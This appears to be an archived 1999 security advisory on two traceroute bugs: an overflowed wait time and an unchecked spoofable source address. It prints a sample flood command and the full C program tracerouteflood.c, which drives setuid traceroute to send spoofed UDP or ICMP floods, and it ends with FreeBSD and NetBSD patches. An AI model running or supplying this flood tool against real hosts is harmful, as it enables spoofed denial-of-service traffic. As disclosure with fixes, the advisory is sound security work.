COMMAND
traceroute
SYSTEMS AFFECTED
Linux, DU 3.2, 4.0, FreeBSD
PROBLEM
Alfonso De Gregorio found following. Two traceroute's bugs allow
any user (since it's often suided) to use traceroute as a little
udp, or (only for versions from 1.4) also icmp, flooder. This was
tested only on x86 boxes with the most diffused GNU/Linux distro:
Debian, Slackware, RedHat (all of them with 2.0.34 kernel), and on
an alpha with Digital Unix V4.0. Reports confirmed same with DU
3.2 and FreeBSD.
First bug
=========
Waittime value. Affected systems come up as x86 linux and alpha
digital unix as traceroute dosen't handle too higher argument's
value of -w option. the limit value dosen't seem to remain
costant, but it's never greater than (1<<31)-1 or on the other
hand ((1<<(sizeof(int)*8)-1)-1) on systems already tested where
the size of an int is 4. The problem is the way is setted the
waittime value (waittime = str2val(optarg, "wait time",2,-1);),
used in wait_for_reply to wait for a response of a probe. so ..
passing an high value to the -w option traceroute will no wait
for packets coming back. Kris confirmed same works on Digital
Unix v3.2, and FreeBSD 4.0 as well (both using -w 2147483647).
second bug
==========
-s (the source address of outgoing probe packets). Affected
system come up x86 linux, but possiblly others too. Usally
traceroute check if the source address of the outgoing probe
packets matches one of the machine's interface addresses; in case
of mismatch, an error is returned and nothing is send on x86
linux traceroute fail this check. In this way anyone can send
packets that appear come from a fake address (spoofed) and will
not receive response packets (TIME_EXCEEDED or PORT_UNREACHABLE
and unexpected packets, too)'.
Considerate the maximum number of packets that traceroute can
send, the number of packets for second received by the target
host, the minimal ICMP packet used by traceroute (IIRC just few
bytes for the rtt computation), an udp/icmp flood made using
traceroute should be abosultely powerless and no one can make a
real DoS againt a victim; however just setting the number of
queries (-q), the packetsize, and if we want it also the
time-to-live of the first outgoing packet i've frozen a bit a
windows box until packets finished.
BTW, if you wan't use sth like
traceroute -w $(((1<<31)-1)) -q 8 -f n -s xxx.xxx.xxx.xxx target 1460
or if you wan't try to guess the limit of the waittime value,
there are few lines of code, below, (tracerouteflood.c) that show
as can be used these tcp/ip weakness; just an example, nothing
more.
/*
tracerouteflood.c by (fhex) Alfonso De Gregorio <fhex@speedcom.it>
a special thanks to: my sister :)
Davide (buzzz) Bozzelli a great friend that let
me use his alpha
Salvatore (antirez) Sanfilippo and Lorenzo (gigi_sull)
Cavallaro two friend always
available to pay attantion to my nonsenses
and take me great advices
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; version 2 of the License.
-------------------------------------------------------------------------
WARNING: this program is only for dimostrative use. USE IT AT YOUR
OWN RISK! The autors decline responsability caused by
bad or malicious use.
to compile: gcc -O2 tracerouteflood.c -o tracerouteflood
(should copile succesfully on Debian, Slackware, RedHat, DigitalUnix etc.)
alfonso de gregorio
-------------------------------------------------------------------------
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <string.h>
#define TRACEROUTE "/usr/sbin/traceroute" /* traceroute's pathname */
#define MAX_LENGHT 12 /* buffer dimension */
int
usage(char *argo)
{
printf("usage: %s: %s [-I] [-f first_ttl] [-q nqueries] [-s source_ip] hostname [packetlen]\n", argo,argo);
printf("\t -I\t\tflood using ICMP ECHO instead of UDP datagrams.\n");
printf("\t -f firt_ttl\tthe initial time-to-live used in the first outgoing packet\n");
printf("\t -q nqueries\tqueries number\n");
printf("\t -s source_ip\tthis ip is the address of the outgoing packets\n");
printf("\n\t(-I and -f switches works only with traceroute 1.4 or higher)\n");
printf("\t[source_ip] can be arbitrary only on linux\n");
printf("\n\tFor example:./tracerouteflood -I -f 2 -q 8 -s xxx.xxx.xxx.xxx dest.somewhere.com 1460\n");
return 1;
}
int
main(int argc, char **argv )
{
char badwait[MAX_LENGHT];
pid_t pid_traceroute;
register int op;
int i,j;
char *cmdline[10]={};
if (argc < 2 || argc > 10 ) exit(usage(argv[0]));
#ifdef __alpha__
/* an integer overflow */
/* please, if ((1<<(sizeof(int)*8)-1)-1) isn't enought on your system repleace it with just a big number (don't forget to mail me :)*/
sprintf(badwait,"%ld",((1<<(sizeof(int)*8)-1)-1) );
#else
snprintf(badwait,MAX_LENGHT,"%ld",((1<<(sizeof(int)*8)-1)-1) );
#endif
opterr=0;
while ((op = getopt(argc, argv, "If:q:s:")) != EOF)
switch (op) {
case 'I':
cmdline[1]=argv[optind-1];
break;
case 'f':
cmdline[2]=argv[optind-2];
cmdline[3]=argv[optind-1];
break;
case 'q':
cmdline[4]=argv[optind-2];
cmdline[5]=argv[optind-1];
break;
case 's':
/* if you have noticed -s bug also on other systems then linux let free to add here the symbol for the preprocessor (and don't forget to mail me:) */
#ifdef __linux__
cmdline[6]=argv[optind-2];
cmdline[7]=argv[optind-1];
#else
printf("since now this bug appeare to be present only on linux\n");
exit(1);
#endif
break;
default:
exit(usage(argv[0]));
break;
}
switch (argc - optind) {
case 1:
cmdline[8]=argv[optind];
break;
case 2:
cmdline[8]=argv[optind];
cmdline[9]=argv[optind+1];
break;
default:
exit(usage(argv[0]));
}
for (i=1;i<9;i++){
if (cmdline[i] == NULL && cmdline[i+1] != NULL) {
for(j=i;j<9;j++){
cmdline[j]=cmdline[j+1];
cmdline[j+1]=(char *) NULL;
}
i=0;
}
}
pid_traceroute = fork();
if ( pid_traceroute == 0) {
execl(TRACEROUTE,"traceroute","-w",badwait,cmdline[1],cmdline[2],cmdline[3],cmdline[4],cmdline[5],cmdline[6],cmdline[7],cmdline[8],cmdline[9],NULL);
perror("exec: maybe traceroute is not in pre-arranged directory");
exit(1);
}
if ( waitpid(pid_traceroute, NULL, 0) < 0) {
printf("wait error\n");
exit(1);
}
printf("done\n");
exit(0);
}
SOLUTION
This was fixed in FreeBSD 4.0-CURRENT, 3.1-STABLE and 2.2-STABLE
as of 15th Feb 1999. The upcoming 3.1-RELEASE will not be
vulnerable. The attached patch should apply cleanly against most
recent versions of FreeBSD (2.2 and up). To update your system,
try the following (assuming you have the sources):
# cd /usr/src/contrib/traceroute
# patch traceroute.c <attached_patch
# cd ../../usr.sbin/traceroute
# make
# make install
Index: traceroute.c
===================================================================
RCS file: /home/ncvs/src/contrib/traceroute/traceroute.c,v
retrieving revision 1.5
retrieving revision 1.5.2.1
diff -u -r1.5 -r1.5.2.1
--- traceroute.c 1996/10/08 19:16:24 1.5
+++ traceroute.c 1999/02/15 08:24:08 1.5.2.1
@@ -732,6 +732,8 @@
wait.tv_sec = tp->tv_sec + waittime;
wait.tv_usec = tp->tv_usec;
(void)gettimeofday(&now, &tz);
+ if (wait.tv_sec < now.tv_sec + 1)
+ wait.tv_sec = now.tv_sec + 1;
tvsub(&wait, &now);
if (select(sock + 1, &fds, (fd_set *)0, (fd_set *)0, &wait) > 0)
Curt Sampson appended the set of patches for the traceroute bugs
that he commited to NetBSD. (It should work for other BSDs, and
perhaps Linux too, if it's using the 4.4BSD traceroute.) This
fixes two problems:
1. If uid != 0 (you're not superuser), it checks to see that
the source address it's going to use is an address from a
local interface that's up and not marked loopback.
2. It checks the return value from select() and, if select
fails, exits.
Perhaps solution for #2 is better than the one recently committed
to FreeBSD because this one exits on all select() errors, not just
EINVAL. So if you could somehow convince select() to fail with,
for example, EINTR, you still can't utilise this to get around the
inter-packet delay. (it is not believed you can do this as it
stands, but if someone later adds a signal handler to this program
that doesn't exit when a signal is caught, you'd probably be able
to do it by sending a rapid stream of that signal to the program.)
Index: traceroute.c
===================================================================
RCS file: /cvsroot/src/usr.sbin/traceroute/traceroute.c,v
retrieving revision 1.26
retrieving revision 1.28
diff -u -r1.26 -r1.28
--- traceroute.c 1998/12/09 22:53:29 1.26
+++ traceroute.c 1999/02/16 23:18:40 1.28
@@ -378,7 +379,7 @@
int tos = 0, settos = 0, ttl_flag = 0;
register int lsrr = 0;
register u_short off = 0;
- struct ifaddrlist *al;
+ struct ifaddrlist *al, *al2;
char errbuf[132];
if ((cp = strrchr(argv[0], '/')) != NULL)
@@ -699,6 +700,7 @@
/* Get the interface address list */
n = ifaddrlist(&al, errbuf, sizeof errbuf);
+ al2 = al;
if (n < 0) {
Fprintf(stderr, "%s: ifaddrlist: %s\n", prog, errbuf);
exit(1);
@@ -711,8 +713,8 @@
/* Look for a specific device */
if (device != NULL) {
- for (i = n; i > 0; --i, ++al)
- if (strcmp(device, al->device) == 0)
+ for (i = n; i > 0; --i, ++al2)
+ if (strcmp(device, al2->device) == 0)
break;
if (i <= 0) {
Fprintf(stderr, "%s: Can't find interface %s\n",
@@ -728,11 +730,11 @@
* Otherwise, use the first interface found.
* Warn if there are more than one.
*/
- setsin(from, al->addr);
+ setsin(from, al2->addr);
if (n > 1 && device == NULL && !find_local_ip(from, to)) {
Fprintf(stderr,
"%s: Warning: Multiple interfaces found; using %s @ %s\n",
- prog, inet_ntoa(from->sin_addr), al->device);
+ prog, inet_ntoa(from->sin_addr), al2->device);
}
} else {
hi = gethostinfo(source);
@@ -754,7 +756,7 @@
* interface address.
*/
for (i = hi->n, ap = hi->addrs; i > 0; --i, ++ap)
- if (*ap == al->addr)
+ if (*ap == al2->addr)
break;
if (i <= 0) {
Fprintf(stderr,
@@ -766,6 +768,25 @@
}
freehostinfo(hi);
}
+
+ /*
+ * If not root, make sure source address matches a local interface.
+ * (The list of addresses produced by ifaddrlist() automatically
+ * excludes interfaces that are marked down and/or loopback.)
+ */
+ if (getuid()) {
+ al2 = al;
+ for (i = n; i > 0; --i, ++al2)
+ if (from->sin_addr.s_addr == al2->addr)
+ break;
+ if (i <= 0) {
+ Fprintf(stderr, "%s: %s is not a valid local address "
+ "and you are not superuser.\n", prog,
+ inet_ntoa(from->sin_addr));
+ exit(1);
+ }
+ }
+
outip->ip_src = from->sin_addr;
#ifndef IP_HDRINCL
if (bind(sndsock, (struct sockaddr *)from, sizeof(*from)) < 0) {
@@ -911,6 +932,7 @@
struct timezone tz;
register int cc = 0;
int fromlen = sizeof(*fromp);
+ int retval;
FD_ZERO(&fds);
FD_SET(sock, &fds);
@@ -920,9 +942,16 @@
(void)gettimeofday(&now, &tz);
tvsub(&wait, &now);
- if (select(sock + 1, &fds, NULL, NULL, &wait) > 0)
+ retval = select(sock + 1, &fds, NULL, NULL, &wait);
+ if (retval < 0) {
+ /* If we continue, we probably just flood the remote host. */
+ Fprintf(stderr, "%s: select: %s\n", prog, strerror(errno));
+ exit(1);
+ }
+ if (retval > 0) {
cc = recvfrom(s, (char *)packet, sizeof(packet), 0,
(struct sockaddr *)fromp, &fromlen);
+ }
return(cc);
}